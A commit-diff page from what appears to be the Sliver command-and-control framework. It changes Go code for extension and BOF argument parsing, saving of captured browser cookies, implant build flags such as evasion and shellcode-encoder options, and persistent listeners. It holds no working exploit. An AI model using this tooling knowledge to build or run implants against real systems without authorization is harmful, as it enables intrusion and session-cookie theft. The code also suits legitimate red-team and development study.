Compare commits

..
Author SHA1 Message Date
c2biz 2e83ecd593 fix DLL based extension argument parsing 2025-04-08 21:46:07 -04:00
66 changed files with 3762 additions and 5448 deletions

No files matched your search

+2 -2
View File
@@ -529,11 +529,11 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
tw.AppendRow(table.Row{
"Paths",
strings.Join(paths[:], ",")[:50] + "...",
strings.Join(paths[:], ","),
})
tw.AppendRow(table.Row{
"Files",
strings.Join(files[:], ",")[:50] + "...",
strings.Join(files[:], ","),
})
con.Println(tw.Render())
+10 -11
View File
@@ -21,10 +21,9 @@ package cursed
import (
"fmt"
"os"
"strings"
"time"
"encoding/json"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
@@ -47,24 +46,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if len(cookies) == 0 {
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
if err != nil {
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
return
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = os.WriteFile(saveFile, jsonBytes, 0o600)
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-413
View File
@@ -1,413 +0,0 @@
package extensions
import (
"bytes"
"flag"
"fmt"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/spf13/cobra"
)
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
// and converts them to a BOF-compatible binary buffer
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
// Create a flag set and parse the arguments
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
if err != nil {
return nil, err
}
// Print debug information about parsed flags
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
// Initialize the BOF arguments buffer
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Process arguments and build the buffer
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
stringValues, wstringValues, intValues, shortValues, fileValues)
if err != nil {
return nil, err
}
// Return error if we have missing required arguments
if len(missingRequiredArgs) > 0 {
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
}
// Get the final binary buffer
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, fmt.Errorf("failed to get buffer: %v", err)
}
return parsedArgs, nil
}
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
// and parses the provided arguments
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
// Create a new FlagSet
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
// Maps to store flag value pointers
stringValues := make(map[string]*string)
intValues := make(map[string]*int)
shortValues := make(map[string]*int)
fileValues := make(map[string]*string) // Path to file data
wstringValues := make(map[string]*string)
// Define expected flags based on manifest arguments
for _, arg := range ext.Arguments {
flagName := arg.Name
flagDesc := arg.Desc
switch arg.Type {
case "string":
stringValues[flagName] = fs.String(flagName, "", flagDesc)
case "wstring":
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
case "int", "integer":
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "short":
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "file":
fileValues[flagName] = fs.String(flagName, "", flagDesc)
default:
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
}
}
// Parse the arguments
if err := fs.Parse(args); err != nil {
return nil, nil, nil, nil, nil, nil, err
}
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
}
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
// Returns a list of missing required arguments and any error encountered
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
stringValues, wstringValues map[string]*string,
intValues, shortValues map[string]*int,
fileValues map[string]*string) ([]string, error) {
missingRequiredArgs := make([]string, 0)
for _, argDef := range ext.Arguments {
var provided bool
var err error
// Process based on argument type
switch argDef.Type {
case "string":
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
case "wstring":
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
case "int", "integer":
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
case "short":
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
case "file":
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
}
if err != nil {
return nil, err
}
// If argument not provided, handle according to rules
if !provided {
if argDef.Optional {
// Try to apply default or type-appropriate zero value
err = bofApplyDefaultValue(argDef, argsBuffer)
if err != nil {
return nil, err
}
} else {
// Required argument was not provided
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
}
}
}
return missingRequiredArgs, nil
}
// bofProcessStringArg processes a string argument
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := stringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessWStringArg processes a wide string argument
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := wstringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddWString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessIntArg processes an integer argument
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := intValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddInt(uint32(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessShortArg processes a short integer argument
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := shortValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddShort(uint16(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessFileArg processes a file argument
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := fileValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
// Validate file exists and read it
data, err := os.ReadFile(*ptr)
if err != nil {
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
}
err = argsBuffer.AddData(data)
if err != nil {
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofApplyDefaultValue applies a default value based on the argument definition
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
// Try to use default value from manifest if available
if argDef.Default != nil {
switch argDef.Type {
case "string":
// Handle string default - could be string literal or numeric in JSON
defaultVal, ok := argDef.Default.(string)
if !ok {
// Try to convert from other types
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "wstring":
// Handle wstring default
defaultVal, ok := argDef.Default.(string)
if !ok {
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddWString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "int", "integer":
// Handle int default - could be number or string in JSON
var defaultInt uint32
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultInt = uint32(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 32)
if err == nil {
defaultInt = uint32(val)
}
}
}
err := argsBuffer.AddInt(defaultInt)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
case "short":
// Handle short default - could be number or string in JSON
var defaultShort uint16
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultShort = uint16(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 16)
if err == nil {
defaultShort = uint16(val)
}
}
}
err := argsBuffer.AddShort(defaultShort)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
case "file":
// Default for file doesn't really make sense, but handle for completeness
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
} else {
// No default specified in manifest, use type-appropriate zero values
switch argDef.Type {
case "string":
err := argsBuffer.AddString("")
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "wstring":
err := argsBuffer.AddWString("")
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "int", "integer":
err := argsBuffer.AddInt(0)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "short":
err := argsBuffer.AddShort(0)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "file":
// Empty data for optional file
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
}
return nil
}
// bofDebugPrintParsedFlags prints information about the parsed flags
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
stringValues map[string]*string,
wstringValues map[string]*string,
intValues map[string]*int,
shortValues map[string]*int,
fileValues map[string]*string) {
fmt.Println("parsed flags:")
for _, arg := range ext.Arguments {
flagName := arg.Name
wasProvided := bofFlagWasProvided(fs, flagName)
if wasProvided {
switch arg.Type {
case "string":
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
case "wstring":
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
case "int", "integer":
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
case "short":
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
case "file":
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
}
}
}
}
// bofFlagWasProvided checks if a flag was explicitly set
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
provided := false
fs.Visit(func(f *flag.Flag) {
if f.Name == name {
provided = true
}
})
return provided
}
+11 -32
View File
@@ -1,28 +1,34 @@
package extensions
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the 'extensions' command and its subcommands.
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.GenericHelpGroup,
GroupID: consts.ExecutionHelpGroup,
Run: func(cmd *cobra.Command, _ []string) {
ExtensionsCmd(cmd, con)
},
}
extensionCmd.AddCommand(&cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session or beacon",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
})
extensionLoadCmd := &cobra.Command{
Use: consts.LoadStr,
Short: "Temporarily load an extension from a local directory",
@@ -60,30 +66,3 @@ func Commands(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{extensionCmd}
}
func SliverCommands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.InfoHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
}
listCmd := &cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
}
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
extensionCmd.AddCommand(listCmd)
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
return []*cobra.Command{extensionCmd}
}
+3 -48
View File
@@ -22,7 +22,6 @@ import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -36,7 +35,7 @@ import (
// ExtensionsCmd - List information about installed extensions.
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
if len(GetAllExtensionManifests()) > 0 {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
@@ -68,12 +67,8 @@ func PrintExtensions(con *console.SliverClient) {
for _, extension := range loadedExtensions {
//for _, extension := range extensionm.ExtCommand {
installed := ""
//if _, ok := installedManifests[extension.Manifest.Name]; ok {
for _, installedManifest := range installedManifests {
if extension.Manifest.RootPath == installedManifest.RootPath {
installed = "✅"
break
}
if _, ok := installedManifests[extension.Manifest.Name]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Manifest.Name,
@@ -102,9 +97,6 @@ func extensionPlatforms(extension *ExtCommand) []string {
return keys
}
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
// The returned manifests have their RootPath set to the directory containing their manifest file.
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
@@ -118,48 +110,11 @@ func getInstalledManifests() map[string]*ExtensionManifest {
if err != nil {
continue
}
manifest.RootPath = filepath.Dir(manifestPath)
installedManifests[manifest.Name] = manifest
}
return installedManifests
}
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
// loaded into memory but not permanently installed. The map is keyed by the manifest's
// Name field.
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
tempManifests := map[string]*ExtensionManifest{}
for name, manifest := range loadedManifests {
tempManifests[name] = manifest
}
return tempManifests
}
// GetAllExtensionManifests returns a combined list of manifest file paths from
// both installed and temporarily loaded extensions
func GetAllExtensionManifests() []string {
manifestPaths := make(map[string]struct{}) // use map for deduplication
// Add installed manifests
for _, manifest := range getInstalledManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Add temporarily loaded manifests
for _, manifest := range getTemporarilyLoadedManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Convert to slice
paths := make([]string, 0, len(manifestPaths))
for path := range manifestPaths {
paths = append(paths, path)
}
return paths
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+2 -24
View File
@@ -43,22 +43,7 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
}
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
// It reads the extension manifest, validates it, and copies all required files to the extensions
// directory. If an extension with the same name already exists, it can optionally prompt for
// overwrite confirmation.
//
// Parameters:
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
// - con: Sliver console client for displaying status and error messages
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
//
// The function will return early with error messages printed to console if:
// - The manifest cannot be read or parsed
// - Required directories cannot be created
// - File copy operations fail
// - User declines overwrite when prompted
// Install an extension from a directory
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
var manifestData []byte
var err error
@@ -79,15 +64,8 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
return
}
// Use package name if available, otherwise use extension name
// (Note, for v1 manifests this will actually be command_name)
packageID := manifestF.Name
if manifestF.PackageName != "" {
packageID = manifestF.PackageName
}
//create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
if promptToOverwrite {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
+5 -106
View File
@@ -20,111 +20,12 @@ package extensions
import (
"context"
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"slices"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ExtensionMatch holds the details of a matched extension
type ExtensionMatch struct {
CommandName string
Hash string
BinPath string
}
// FindExtensionMatches searches through loaded extensions for matching hashes
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
results := make(map[string]*ExtensionMatch)
pathCache := make(map[string]*ExtensionMatch)
// Initialize results map with all target hashes
for _, hash := range targetHashes {
results[hash] = nil
}
// Search for matches
for _, extCmd := range loadedExtensions {
if extCmd == nil || len(extCmd.Files) == 0 {
continue
}
for _, file := range extCmd.Files {
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
// Check cache first
var match *ExtensionMatch
if cached, exists := pathCache[fullPath]; exists {
match = cached
} else {
// Calculate hash if not cached
fileData, err := os.ReadFile(fullPath)
if err != nil {
continue
}
hashBytes := sha256.Sum256(fileData)
fileHash := hex.EncodeToString(hashBytes[:])
match = &ExtensionMatch{
CommandName: extCmd.CommandName,
Hash: fileHash,
BinPath: fullPath,
}
pathCache[fullPath] = match
}
if slices.Contains(targetHashes, match.Hash) {
results[match.Hash] = match
}
}
}
return results
}
// PrintExtensionMatches prints the extension matches in a formatted table
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Command Name",
"Sha256 Hash",
"Bin Path",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for hash, match := range matches {
if match != nil {
tw.AppendRow(table.Row{
match.CommandName,
hash,
match.BinPath,
})
} else {
tw.AppendRow(table.Row{
"",
hash,
"",
})
}
}
con.Println(tw.Render())
}
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -144,12 +45,10 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) == 0 {
return
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
con.PrintInfof("Loaded extensions:\n\n")
matches := FindExtensionMatches(extList.Names)
PrintExtensionMatches(matches, con)
}
+14 -40
View File
@@ -80,7 +80,6 @@ type ExtensionManifest_ struct {
type ExtensionManifest struct {
Name string `json:"name"`
PackageName string `json:"package_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
@@ -116,24 +115,17 @@ type extensionFile struct {
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
Default interface{} `json:"default,omitempty"`
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
if e.Manifest.RootPath != "" {
// Use RootPath for temporarily loaded extensions
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
} else {
// Fall back to extensions dir for installed extensions
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
}
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
break
}
}
@@ -148,19 +140,10 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
return filePath, nil
}
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
// The extension must contain a valid manifest file. If commands from the extension
// already exist, the user will be prompted to overwrite them.
// ExtensionLoadCmd - Load extension command.
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
dirPath := args[0]
// Add directory check
fileInfo, err := os.Stat(dirPath)
if err != nil || !fileInfo.IsDir() {
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
return
}
// dirPath := ctx.Args.String("dir-path")
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
@@ -182,11 +165,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
}
}
// LoadExtensionManifest loads and parses an extension manifest file from the given path.
// It registers each command defined in the manifest into the loadedExtensions map
// and registers the complete manifest into loadedManifests. A single manifest may
// contain multiple extension commands. The manifest's RootPath is set to its containing
// directory. Returns the parsed manifest and any errors encountered.
// LoadExtensionManifest - Parse extension files.
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := os.ReadFile(manifestPath)
if err != nil {
@@ -300,13 +279,7 @@ func validManifest(manifest *ExtensionManifest) error {
return nil
}
// ExtensionRegisterCommand adds an extension command to the cobra command system.
// It validates the extension's arguments, updates the loadedExtensions map, and
// creates a cobra.Command with proper usage text, help documentation, and argument
// handling. The command is added as a subcommand to the provided parent cobra.Command.
// Arguments are displayed in the help text as uppercase, with optional args in square
// brackets. The help text includes sections for command usage, description, and detailed
// argument specifications.
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error())
@@ -314,6 +287,7 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
}
loadedExtensions[extCmd.CommandName] = extCmd
//helpMsg := extCmd.Help
usage := strings.Builder{}
usage.WriteString(extCmd.CommandName)
@@ -365,9 +339,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
// Command
extensionCmd := &cobra.Command{
Use: usage.String(),
Short: extCmd.Help,
Long: help.FormatHelpTmpl(longHelp.String()),
Use: usage.String(), //extCmd.CommandName,
//Short: helpMsg.String(), doesn't appear to be used?
Long: help.FormatHelpTmpl(longHelp.String()),
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
@@ -797,7 +771,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
if err != nil {
return nil, err
}
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
if err != nil {
return nil, err
}
+3 -27
View File
@@ -23,7 +23,6 @@ import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
@@ -87,35 +86,12 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
return false, errors.New("command name is required")
}
if man, ok := loadedManifests[manifestName]; ok {
// Found the manifest
var extPath string
if man.RootPath != "" {
// Use RootPath for temporarily loaded extensions
extPath = man.RootPath
} else {
// Fall back to extensions dir for installed extensions
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
}
//foudn the manifest
//delet it
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return true, nil
}
// If path is outside extensions directory, prompt for confirmation
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
survey.AskOne(prompt, &confirm)
if !confirm {
// Skip the forceRemoveAll but continue with the rest
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
delete(loadedExtensions, cmd.CommandName)
}
return true, nil
}
}
forceRemoveAll(extPath)
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
+1 -1
View File
@@ -309,7 +309,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
// C2 channels
-12
View File
@@ -290,15 +290,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
if exportsArg == "" {
con.PrintErrorf("Shared libraries need at least one export\n")
return "", nil
} else {
exports = strings.Split(exportsArg, ",")
}
format, _ := cmd.Flags().GetString("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
@@ -373,8 +364,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
c2Profile = consts.DefaultC2Profile
}
// exports if its a shared library
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -406,7 +395,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
Exports: exports,
RunAtLoad: runAtLoad,
NetGoEnabled: netGo,
+6
View File
@@ -48,6 +48,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// Wireguard
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// DNS
@@ -83,6 +85,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// HTTP
@@ -103,6 +106,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// HTTPS
@@ -128,6 +132,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
